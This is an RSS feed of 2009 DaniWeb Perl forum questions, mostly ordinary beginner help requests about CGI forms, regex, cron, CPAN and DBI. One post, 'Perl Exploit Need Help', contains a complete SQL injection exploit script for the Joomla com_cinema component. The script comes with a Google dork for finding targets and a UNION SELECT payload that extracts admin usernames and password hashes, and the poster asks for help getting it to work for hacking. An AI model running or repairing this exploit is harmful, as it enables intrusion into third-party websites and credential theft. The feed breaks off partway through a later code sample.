I wan't to add simple web form to my page. name, e-mail, comment, so I started poking around internet and found out about CGI. I put premade cgi.(pearl) script in cgi-bin folder on server and adjusted form for that script: 
 
When I tested out my form , i got this error: Internal Server...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
I wan't to add simple web form to my page. name, e-mail, comment, so I started poking around internet and found out about CGI. I put premade cgi.(pearl) script in cgi-bin folder on server and adjusted form for that script:<br />
<br />
When I tested out my form , i got this error: Internal Server Error<br />
<br />
The server encountered an internal error or misconfiguration and was unable to complete your request.<br />
<br />
Please contact the server administrator, [no address given] and inform them of the time the error occurred, and anything you might have done that may have caused the error.<br />
<br />
More information about this error may be available in the server error log. Apache/2.2.8 (Ubuntu) DAV/2 SVN/1.4.6 PHP/5.2.4-2ubuntu5.7 with Suhosin-Patch mod_ruby/1.2.6 Ruby/1.8.6(2007-09-24) mod_ssl/2.2.8 OpenSSL/0.9.8g Server at rags.lv Port 80<br />
<br />
<br />
I suppose there is something wrong with pearl file config. and since I'm not very competent outside html/css I need some help.<br />
<br />
I'm using this scripit : <a rel="nofollow" class="t" href="http://www.scriptarchive.com/formmail.html" target="_blank">FormMail</a><br />
<br />
any help mucho macho appreciated :p</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>wonderland</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236327.html</guid>
		</item>
		<item>
			<title>module caching in mod_perl</title>
			<link>http://www.daniweb.com/forums/thread236304.html</link>
			<pubDate>Thu, 05 Nov 2009 15:36:53 GMT</pubDate>
			<description><![CDATA[I'm using mod_perl 
 
it seems I have to restart apache every time I modify one of my modules. 
is there a way around this so that the modified module will load without restarting apache?]]></description>
			<content:encoded><![CDATA[<div>I'm using mod_perl<br />
<br />
it seems I have to restart apache every time I modify one of my modules.<br />
is there a way around this so that the modified module will load without restarting apache?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>shoola</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236304.html</guid>
		</item>
		<item>
			<title>HTML #Include file not loading</title>
			<link>http://www.daniweb.com/forums/thread236073.html</link>
			<pubDate>Wed, 04 Nov 2009 22:41:48 GMT</pubDate>
			<description>I have a .cgi file that reads POSTed data from an HTML questionnaire Form and displays HTML that lists all the scholarships the person may qualify for. I want to Include a file with CSS and a Header image. Unfortunately none of this is taking effect, only the list of scholarships that are not in...</description>
			<content:encoded><![CDATA[<div>I have a .cgi file that reads POSTed data from an HTML questionnaire Form and displays HTML that lists all the scholarships the person may qualify for. I want to Include a file with CSS and a Header image. Unfortunately none of this is taking effect, only the list of scholarships that are not in the Font I want.<br />
If you take the quiz at <a rel="nofollow" class="t" href="http://www.solotraveller.com/new%20student%20scholarships/Questionnaire.shtml" target="_blank">http://www.solotraveller.com/new%20s...ionnaire.shtml</a> and answer anything Yes you will see the (undesirable) results.<br />
<br />
The HTML (below) that the .cgi file generates, when saved to an .shtml file,  renders the way I want. The page is <a rel="nofollow" class="t" href="http://www.solotraveller.com/New%20Student%20Scholarships/cgi-bin/testlist.shtml" target="_blank">http://www.solotraveller.com/New%20S...testlist.shtml</a><br />
<br />
Can someone let me know why the .cgi does not load the Include file correctly?<br />
Thanks!<br />
<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;h1&gt;&lt;/h1&gt;<br />
&lt;!--#include file=&quot;../header.htm&quot;--&gt;<br />
&lt;table width=800 border=1 cellspacing=0 cellpadding=0&gt;&lt;tr&gt;&lt;td&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot; value=&quot;DeVryHighSchool&quot;&lt;/td&gt;&lt;td width=&quot;90%&quot;&gt;&lt;a href=&quot;../Scholarship Requirements/Deans Scholarship.shtml&quot;&gt;DeVry High School Scholarship&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot; value=&quot;Deans&quot;&lt;/td&gt;&lt;td width=&quot;90%&quot;&gt;&lt;a href=&quot;../Scholarship Requirements/Deans Scholarship.shtml&quot;&gt;Dean's Scholarship&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot; value=&quot;Transfer&quot;&lt;/td&gt;&lt;td width=&quot;90%&quot;&gt;&lt;a href=&quot;../Scholarship Requirements/Deans Scholarship.shtml&quot;&gt;Transfer Scholarship&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;<br />
&lt;/html&gt;</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>pbassett</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236073.html</guid>
		</item>
		<item>
			<title>Visual Basic.Net Data types</title>
			<link>http://www.daniweb.com/forums/thread236049.html</link>
			<pubDate>Wed, 04 Nov 2009 20:04:39 GMT</pubDate>
			<description>Using Visual Basic .Net, explain what each variable type listed below holds, how big it is (i.e. the number of bytes it uses) and give an example of how it might be used. 
 
  
Data Type            Explanation          space occupied        Example 
  
Text 
Integer 
Floating point 
Byte 
Date</description>
			<content:encoded><![CDATA[<div>Using Visual Basic .Net, explain what each variable type listed below holds, how big it is (i.e. the number of bytes it uses) and give an example of how it might be used.<br />
<br />
 <br />
Data Type            Explanation          space occupied        Example<br />
 <br />
Text<br />
Integer<br />
Floating point<br />
Byte<br />
Date<br />
Boolean</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>oluscoa</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236049.html</guid>
		</item>
		<item>
			<title>Code Snippet Need help writing a perl script to parse multiple files</title>
			<link>http://www.daniweb.com/code/snippet235321.html</link>
			<pubDate>Mon, 02 Nov 2009 11:05:04 GMT</pubDate>
			<description><![CDATA[I'm new to perl and I'm writing a script to parse multiple Gaussian03 output files and extract certain pieces of data from them.  
 
Ideally the script needs to print out the name of each file, look for (the last) SCF Energy, the Zero-point Energy and check if the job has converged (i.e. in the...]]></description>
			<content:encoded><![CDATA[<div>I'm new to perl and I'm writing a script to parse multiple Gaussian03 output files and extract certain pieces of data from them. <br />
<br />
Ideally the script needs to print out the name of each file, look for (the last) SCF Energy, the Zero-point Energy and check if the job has converged (i.e. in the file the word 'YES' will appear with some other text on four consecutive lines).<br />
<br />
So far the script prints out the filenames and the words &quot;Energy =&quot; and &quot;Zero-point energy =&quot; but without the values it is meant to insert. I've tested this with another script and it does print out the correct values, so I'm not sure why it's not working here. <br />
<br />
Any help would be greatly appreciated.<br />
<br />
Here is what I've been able to write so far:</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>mitzoff</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread235321.html</guid>
		</item>
		<item>
			<title><![CDATA[Please recommend a good "file upload" module]]></title>
			<link>http://www.daniweb.com/forums/thread235110.html</link>
			<pubDate>Sun, 01 Nov 2009 15:01:24 GMT</pubDate>
			<description><![CDATA[there are so many here:  
 
search.cpan.org/search?query=upload&mode=module  
 
which one do you use?]]></description>
			<content:encoded><![CDATA[<div>there are so many here: <br />
<br />
search.cpan.org/search?query=upload&amp;mode=module <br />
<br />
which one do you use?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>shoola</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread235110.html</guid>
		</item>
		<item>
			<title>including cfg in perl script; CMU Sphinx</title>
			<link>http://www.daniweb.com/forums/thread234886.html</link>
			<pubDate>Sat, 31 Oct 2009 11:50:56 GMT</pubDate>
			<description>Hello :-)! 
 
I installed Ubuntu in order to install CMU Sphinx (http://www.speech.cs.cmu.edu/sphinx/tutorial.html). There is one problem with executing perl script and I think it is good place to ask for help. Script make_feats.pl is here...</description>
			<content:encoded><![CDATA[<div>Hello :-)!<br />
<br />
I installed Ubuntu in order to install CMU Sphinx (<a rel="nofollow" class="t" href="http://www.speech.cs.cmu.edu/sphinx/tutorial.html" target="_blank">http://www.speech.cs.cmu.edu/sphinx/tutorial.html</a>). There is one problem with executing perl script and I think it is good place to ask for help. Script make_feats.pl is here <a rel="nofollow" class="t" href="http://www.linuxforums.org/forum/attachments/debian-linux-help/2267d1256986736-kde-startx-debian-make_feats.pl.txt" target="_blank">http://www.linuxforums.org/forum/att...e_feats.pl.txt</a> . When I run &quot;perl scripts_pl/make_feats.pl -ctl etc/an4_train.fileids&quot; I see &quot;Configuration (e.g. etc/sphinx_train.cfg) not defined. Compilation failed in require at make_feats.pl line 43. BEGIN failed--compilation aborted at make_feats.pl line 43&quot;. I found sphinx_train.cfg in two directories: /home/mainacc/tutorial/SphinxTrain/etc and /home/mainacc/tutorial/an4/etc. It looks like I simply need to define directory where sphinx_train.cfg is stored in the perl script. However I have never created any perl script, I guess it should be simple thing. How to define this directory in make_feats.pl? I found similar topic here <a rel="nofollow" class="t" href="http://www.voxforge.org/home/forums/other-languages/dutch/acoustic-model-in-sphinx-6/7" target="_blank">http://www.voxforge.org/home/forums/...-in-sphinx-6/7</a> but it doesn't help me.<br />
<br />
Greetings :-)!</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>johnyjj2</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread234886.html</guid>
		</item>
		<item>
			<title>Issue with Cron and Perl Script Variables</title>
			<link>http://www.daniweb.com/forums/thread234720.html</link>
			<pubDate>Fri, 30 Oct 2009 15:59:23 GMT</pubDate>
			<description>Hi All 
 
Im very new to perl scripting coming from a shell background, but im determine to stick to it and learn perl. 
 
I have env variables which i have defined in my perl script and work fine from command line as these env variables are in my profile. When i get cron to run the script i dont...</description>
			<content:encoded><![CDATA[<div>Hi All<br />
<br />
Im very new to perl scripting coming from a shell background, but im determine to stick to it and learn perl.<br />
<br />
I have env variables which i have defined in my perl script and work fine from command line as these env variables are in my profile. When i get cron to run the script i dont believe these variables are being used and causing my script to not pull back data.<br />
<br />
[<br />
#!/usr/bin/perl -w<br />
#<br />
#<br />
use strict;<br />
<br />
$ENV{'AUTOSYS'} = &quot;/opt/autosys/P22&quot;;<br />
$ENV{'AUTOSERV'} = &quot;P22&quot;;<br />
$ENV{'AUTOTREE'} = &quot;/opt/autosys&quot;;<br />
$ENV{'AUTOUSER'} = &quot;/opt/autosys/P22/autouser&quot;;<br />
]<br />
<br />
Any guidance or help would be most appreciated.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>skelly16</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread234720.html</guid>
		</item>
		<item>
			<title><![CDATA[[PROBLEM] inverting a list]]></title>
			<link>http://www.daniweb.com/forums/thread234579.html</link>
			<pubDate>Fri, 30 Oct 2009 03:59:56 GMT</pubDate>
			<description>I have a list like this: 
 
name1: group1 
name2: group4 
name3: group1 group2 
name4: group4 
.......... 
..........</description>
			<content:encoded><![CDATA[<div>I have a list like this:<br />
<br />
name1: group1<br />
name2: group4<br />
name3: group1 group2<br />
name4: group4<br />
..........<br />
..........<br />
<br />
<br />
I wish to invert this list, and make it  look like:<br />
<br />
group1: name1 name3...<br />
group2: name3<br />
group4: name2, name4<br />
...........<br />
...........<br />
<br />
<br />
Can somebody offer at least a psuedo code?<br />
Thanks</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>jacquelinek</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread234579.html</guid>
		</item>
		<item>
			<title>CPAN Perl module Installation Problem on Mac</title>
			<link>http://www.daniweb.com/forums/thread234265.html</link>
			<pubDate>Thu, 29 Oct 2009 02:24:14 GMT</pubDate>
			<description>Hi everyone  
 
Well I have been trying to install some modules like Bundle::DBI, DBD ::mysql and latex::Parser on my apple comp running mac OS X operating system. 
Every time I am trying to install a module I get an error like this : 
 
make had returned bad status, install seems impossible 
 
I...</description>
			<content:encoded><![CDATA[<div>Hi everyone <br />
<br />
Well I have been trying to install some modules like Bundle::DBI, DBD ::mysql and latex::Parser on my apple comp running mac OS X operating system.<br />
Every time I am trying to install a module I get an error like this :<br />
<br />
make had returned bad status, install seems impossible<br />
<br />
I have XAMPP installed as the server which has a perl5.10.0.<br />
<br />
I have few questions and hope to get a suggestion on how to install these modules: <br />
1) Thus installing xampp is conflicting the default installation of perl on mac as when i type perl -v i see perl 5.8.8.<br />
<br />
2) How can I change this to 5.10.0 or using the default version is fair enough.<br />
<br />
Thanks<br />
Aj</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread234265.html</guid>
		</item>
		<item>
			<title>Perl regex</title>
			<link>http://www.daniweb.com/forums/thread234035.html</link>
			<pubDate>Wed, 28 Oct 2009 03:34:30 GMT</pubDate>
			<description><![CDATA[I am a perl beginner and need some help with regex  
Input for this code is :  
aatgatgataaggtaaggtatgatgatgatgatgatagtagannnnnnnnnatgcatga'/atgca.atgactagca/atgactagcaaggtaaggtaaggtaaggtaaggtatgatgatgannnn./atgatgactagactgacaaggtaaggtaaggtatgatgatgatcgatgacgat... and so on  
 
Here i am trying to...]]></description>
			<content:encoded><![CDATA[<div>I am a perl beginner and need some help with regex <br />
Input for this code is : <br />
aatgatgataaggtaaggtatgatgatgatgatgatagtagannnnnnnnnatgcatga'/atgca.atgactagca/atgactagcaaggtaaggtaaggtaaggtaaggtatgatgatgannnn./atgatgactagactgacaaggtaaggtaaggtatgatgatgatcgatgacgat... and so on <br />
<br />
Here i am trying to assign input file as a scalar variable and trying to find a match of &quot;aaggtaaggt&quot; and then skip some 100 characters whether they are alphabets or symbols or any wildcard characters after skipping exact 100 characters, i am again asking code to start search for match again and every time it finds a match , i am counting and asking to print.. <br />
<br />
As of my knowledge i have tried using substr of match as pos1 and had set offset for 100 and then assigned that as initial pos for reading second match , but failed to get the correct output, then tried here post match as $' but doubt whether it is correct or not. <br />
<br />
#!/usr/bin/perl <br />
$count1 = 0; <br />
open (FILE, &quot;INPUT&quot;) || die &quot;cannot open $!\n&quot;; <br />
while ($line = &lt;FILE&gt;){ <br />
<br />
if(($line=~m/(aaggt){2}/ig)&amp;&amp;($'=~m/([atgcn]{100,})/i)) { <br />
$count1 ++ ; <br />
print &quot; &quot; ,$1, &quot;\t&quot;; <br />
print &quot;count1 \t &quot; ,$count1 , &quot;\n&quot; ; <br />
} <br />
<br />
} <br />
<br />
<br />
<br />
Please, help me figuring out this task. Thanks</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>riya0707</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread234035.html</guid>
		</item>
		<item>
			<title>search an array for strings</title>
			<link>http://www.daniweb.com/forums/thread233388.html</link>
			<pubDate>Mon, 26 Oct 2009 08:11:48 GMT</pubDate>
			<description><![CDATA[basically i am trying to search for similar strings in an array which is hardcoded into the script and compare them to  and find the line they exist on the text file 
  here is my code  so far 
 
#!/usr/bin/perl 
%fruit=(banana=>1,apple=>2,orange=>5); 
$target = %fruit; 
 
open(INPUT,...]]></description>
			<content:encoded><![CDATA[<div>basically i am trying to search for similar strings in an array which is hardcoded into the script and compare them to  and find the line they exist on the text file<br />
  here is my code  so far<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl<br />
%fruit=(banana=&gt;1,apple=&gt;2,orange=&gt;5);<br />
$target = %fruit;<br />
<br />
open(INPUT, &quot;&lt;fruits.txt&quot;);<br />
<br />
while (&lt;INPUT&gt;) {<br />
&nbsp; &nbsp;  if (/$target/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp;  print &quot;Found $target on line $.&quot;;<br />
&nbsp; &nbsp;  }<br />
}<br />
close(INPUT);</pre>I have attached the file which i am to search .</div>  <br /> <div style="padding:5px">     <fieldset class="fieldset"> <legend>Attached Files</legend> <table cellpadding="0" cellspacing="5" border="0"> <tr> <td><img class="inlineimg" src="http://www.daniweb.com/forums/images/attach/txt.gif" alt="File Type: txt" width="16" height="16" border="0" style="vertical-align:baseline" /></td> <td><a href="http://www.daniweb.com/forums/attachment.php?attachmentid=12308&amp;d=1256544674">fruits.txt</a> (327 Bytes)</td> </tr> </table> </fieldset>  </div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>notuserfriendly</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread233388.html</guid>
		</item>
		<item>
			<title>Perl Exploit Need Help</title>
			<link>http://www.daniweb.com/forums/thread232986.html</link>
			<pubDate>Sat, 24 Oct 2009 19:28:14 GMT</pubDate>
			<description><![CDATA[<div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags" target="_blank">Help with Code Tags</a> </div> <div> <strong>Perl Syntax</strong> (<a...]]></description>
			<content:encoded><![CDATA[<div> <pre style="margin:20px; line-height:13px">Hi All,Im a newbie in Perl Coding,and i just cant get this to work it says error compiling</pre>This is an Exploit for Hacking Joomla com_cinema<br />
Heres the Code<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl -w<br />
<br />
<br />
#Joomla Component Cinema 1.0 Remote SQL Injection #<br />
########################################<br />
#[~] Author : **RoAd_KiLlEr**<br />
#[~] Greetz : Ton![W]indowS,KHG,ALBOZ-CREW,B3r0-G &amp; All Muslims<br />
#[~] Google_Dork: allinurl: &quot;com_cinema&quot;<br />
########################################<br />
<br />
system(&quot;color FF0000&quot;);<br />
print &quot;\t ###############################################################\n\n&quot;;<br />
print &quot;\t #&nbsp; &nbsp; &nbsp;  C0ded By: **RoAd_KiLlEr** From Alboz-Crew&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #\n\n&quot;;<br />
print &quot;\t ###############################################################\n\n&quot;;<br />
print &quot;\t # - Joomla Component Cinema 1.0 Remote SQL Injection Vuln&nbsp;  #\n\n&quot;;<br />
print &quot;\t # - Google-Dork: allinurl: &quot;com_cinema&quot;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #\n\n&quot;;<br />
print &quot;\t # - Alboz-Crew.Net&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #\n\n&quot;;<br />
print &quot;\t # - Cod3d by : **RoAd_KiLlEr*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #\n\n&quot;;<br />
print &quot;\t ###############################################################\n\n&quot;;<br />
use LWP::UserAgent;<br />
print &quot;\nTarget page:[http://wwww.localhost/pathdir/]: &quot;;<br />
chomp(my $target=&lt;STDIN&gt;);<br />
#Column Name<br />
$c_n=&quot;concat(username,0x3a,password)&quot;;<br />
#Table_name<br />
$t_n=&quot;jos_users&quot;;<br />
$U=&quot;-9999+UNION+SELECT+&quot;;<br />
$b = LWP::UserAgent-&gt;new() or die &quot;Could not initialize browser\n&quot;;<br />
$b-&gt;agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');<br />
$host = $target . &quot;/index.php?option=com_cinema&amp;Itemid=**RoAd_KiLlEr**&amp;func=detail&amp;id=&quot;.$U.&quot;1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,&quot;.$c_n.&quot;+from/**/&quot;.$t_n.&quot;+--+&quot;;<br />
$res = $b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));<br />
$answer = $res-&gt;content; if ($answer =~/([0-9a-fA-F]{32})/){<br />
print &quot;\n[+] Admin Hash : $1\n\n&quot;;<br />
print &quot;# Veprimi mbaroi me sukses(Congratulations)! #\n\n&quot;;<br />
}<br />
<br />
else{print &quot;\n[-] Veprimi Deshtoi (Not Found)...\n&quot;;<br />
&nbsp;}</pre><br />
Thank You :P</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>suki_boy</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232986.html</guid>
		</item>
		<item>
			<title>Perl DBF file doubt</title>
			<link>http://www.daniweb.com/forums/thread232976.html</link>
			<pubDate>Sat, 24 Oct 2009 18:52:32 GMT</pubDate>
			<description><![CDATA[Hi all, 
 
I am a perl newbie. I am using a perl code to read a column full of data from 1 field into an array 
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680"...]]></description>
			<content:encoded><![CDATA[<div>Hi all,<br />
<br />
I am a perl newbie. I am using a perl code to read a column full of data from 1 field into an array<br />
<br />
 <pre style="margin:20px; line-height:13px">for(my $i=2;$i&lt;table-&gt;last_record;$i++)<br />
my @data = $table-&gt;get_record($i,&quot;Date&quot;);</pre><br />
Now for example if my @data[1] consists of list of numbers, I need to find the diff between current record and prev record till it reaches the end of array.. Perl has such complex way of array accessing, I donno how to do $data[$i]-$data[$i-1].</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>arun10427</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232976.html</guid>
		</item>
		<item>
			<title>Perl</title>
			<link>http://www.daniweb.com/forums/thread232634.html</link>
			<pubDate>Fri, 23 Oct 2009 14:59:36 GMT</pubDate>
			<description>Hallo everyone 
 im starting to learn perl and i have a problem , i have an exercise asking me to count all the letters each apart in a DNA string , for example 
my @DNA =( ctagctagcatgacgatacatgacagataggatacagatagacagatacagatacagatacagatagacccatgacagatac) 
so i have to make a perl script showing...</description>
			<content:encoded><![CDATA[<div>Hallo everyone<br />
 im starting to learn perl and i have a problem , i have an exercise asking me to count all the letters each apart in a DNA string , for example<br />
my @DNA =( ctagctagcatgacgatacatgacagataggatacagatagacagatacagatacagatacagatagacccatgacagatac)<br />
so i have to make a perl script showing the user how many t's , a's , c's and g's he typed , what a mean , if the user of the perl script type CTGACTGACGTACGTACGTA , the perl script have to show him how many a's t's c's and g's he typed ....<br />
hoping for help ,,, thanks a lot</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>wannagethelp</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232634.html</guid>
		</item>
		<item>
			<title>ASP PERL script table</title>
			<link>http://www.daniweb.com/forums/thread232625.html</link>
			<pubDate>Fri, 23 Oct 2009 14:22:13 GMT</pubDate>
			<description><![CDATA[I have created the code to connect to a MySQL database and retrieve the values of a table. This is the function for printing the table: 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a...]]></description>
			<content:encoded><![CDATA[<div>I have created the code to connect to a MySQL database and retrieve the values of a table. This is the function for printing the table:<br />
 <pre style="margin:20px; line-height:13px"># Name:&nbsp; &nbsp; &nbsp; &nbsp;  dbHistory<br />
# Purpose:&nbsp; &nbsp; &nbsp; prints srvHistory table from database<br />
# Parameters:&nbsp;  N/A<br />
# Returns:&nbsp; &nbsp; &nbsp; N/A<br />
# This is the implementation of the function<br />
<br />
sub dbHistory{<br />
my $connect = dbConnect();&nbsp; &nbsp; &nbsp; &nbsp; # Creates connection <br />
my $query = &quot;SELECT * FROM srvHistory&quot;;<br />
my $query_h = $connect-&gt;prepare(&quot;$query&quot;) or die &quot;Unable to prepare insert query. $DBI::errstr&quot;; # Preps query<br />
$query_h-&gt;execute() or die &quot;Unable to execute query. $DBI::errstr&quot;;&nbsp; &nbsp; &nbsp; &nbsp; # Executes query<br />
<br />
my $sysID;<br />
my $timeStamp;<br />
my $upTime;<br />
my $highestPartition;<br />
my $hdPercent;<br />
my $tx;<br />
my $rx;<br />
my $memPercent;<br />
my $cpuPercent;<br />
my $temp;<br />
my $misc;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp;  while (($sysID, $timeStamp, $upTime, $highestPartition, $hdPercent, $tx, $rx, $memPercent) = $query_h-&gt;fetchrow()) <br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $Response-&gt;Write( &quot;$sysID, $timeStamp, $upTime, $highestPartition, $hdPercent, $tx, $rx, $memPercent&lt;br&gt;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
$connect-&gt;disconnect() or die &quot;Unable to disconnect. $DBI::errstr&quot;;&nbsp; &nbsp; &nbsp; &nbsp; # Disconnect from MySQL<br />
<br />
}</pre><br />
I would like to output the values into an HTML table or any sort of table that can organize this. Also if i could somehow save the values into a hash and then use the hash to display the values that would nice (but i am not to sure on how to do that). This is my current output:<br />
<br />
 <pre style="margin:20px; line-height:13px">230 1249905600 5565940 sample 50 10200 15000 40 20 35 4<br />
580 1255593600 11030208 sample 50 10000 10000 50 50 25 1</pre><br />
I would like to state that i am not to familiar with PERL or ASP. Most of the code was provided and modified to suit my purpose.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Honkey_Magoo</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232625.html</guid>
		</item>
		<item>
			<title>How to chomp and split properly a file</title>
			<link>http://www.daniweb.com/forums/thread232497.html</link>
			<pubDate>Fri, 23 Oct 2009 04:22:12 GMT</pubDate>
			<description><![CDATA[I need to read from a file and be able to split it into columns and ignore a line if it starts with ' . '. 
 
the text file is made of 3 columns but at some lines there are no words in the first column 
here is an example of the text file 
   
BANANAS		ARE	YELLOW 
CHEESE		IS	YELLOW 
		IS	BLUE...]]></description>
			<content:encoded><![CDATA[<div>I need to read from a file and be able to split it into columns and ignore a line if it starts with ' . '.<br />
<br />
the text file is made of 3 columns but at some lines there are no words in the first column<br />
here is an example of the text file<br />
  <br />
BANANAS		ARE	YELLOW<br />
CHEESE		IS	YELLOW<br />
		IS	BLUE<br />
		IS	WHITE<br />
JENNY		LIKES	PERL<br />
                                    <br />
. Line WITH a dot<br />
 Also i want to be able to ignore the line that starts with  the  &quot; . &quot;<br />
thats just a close example of what the file looks like<br />
basically i want to split after reading the file into 3 arrays, the first array having the contents of the first column, the second array having the contents of the second column and so forth. Here is my implementation . i have not used chomp yet<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl<br />
<br />
open (nastyfile , &quot;file.txt&quot;);<br />
my @lines = &lt;nastyfile&gt;;<br />
<br />
foreach $word (@lines)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; (@col1,@col2,@col3)= split (/t/,$word);<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;@col1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
}<br />
print @lines;<br />
close (nastyfile);</pre><br />
so basically i want the first array to have the  words bananas cheese and jenny</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>notuserfriendly</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232497.html</guid>
		</item>
		<item>
			<title>how to javascript inside my perl progam.</title>
			<link>http://www.daniweb.com/forums/thread232278.html</link>
			<pubDate>Thu, 22 Oct 2009 11:56:04 GMT</pubDate>
			<description><![CDATA[Hi, 
       This is my perl program.......... 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags" target="_blank">Help with Code...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
       This is my perl program..........<br />
 <pre style="margin:20px; line-height:13px">#!c:/perl/bin/perl<br />
use CGI qw(:all);<br />
<br />
$pfaccode=param('faccode');<br />
$pprogramme=param('programme');<br />
$pdeptcode=param('deptcode');<br />
$pbrancode=param('brancode');<br />
$psemester=param('semester');<br />
<br />
$pkook = cookie(-name=&gt;'logtime');<br />
<br />
print &quot;Content-type: text/html\n\n&quot;;<br />
print &quot;&lt;body bgcolor=\&quot;#ffcccc\&quot;&gt;&quot;;<br />
use DBI;<br />
my $dbh = DBI-&gt;connect(&quot;DBI:ODBC:wwwdsn&quot;,&quot;webid&quot;,&quot;dibew&quot;) or die &quot;Cant connect: $DBI::errstr\n&quot;;<br />
<br />
my $sth = $dbh-&gt;prepare(&quot;select kid from facltmst where faccode = ?&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
$sth-&gt;execute($pfaccode) or die &quot;Cant execute SQL: $DBI::errstr\n&quot;;<br />
$kid = 0;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
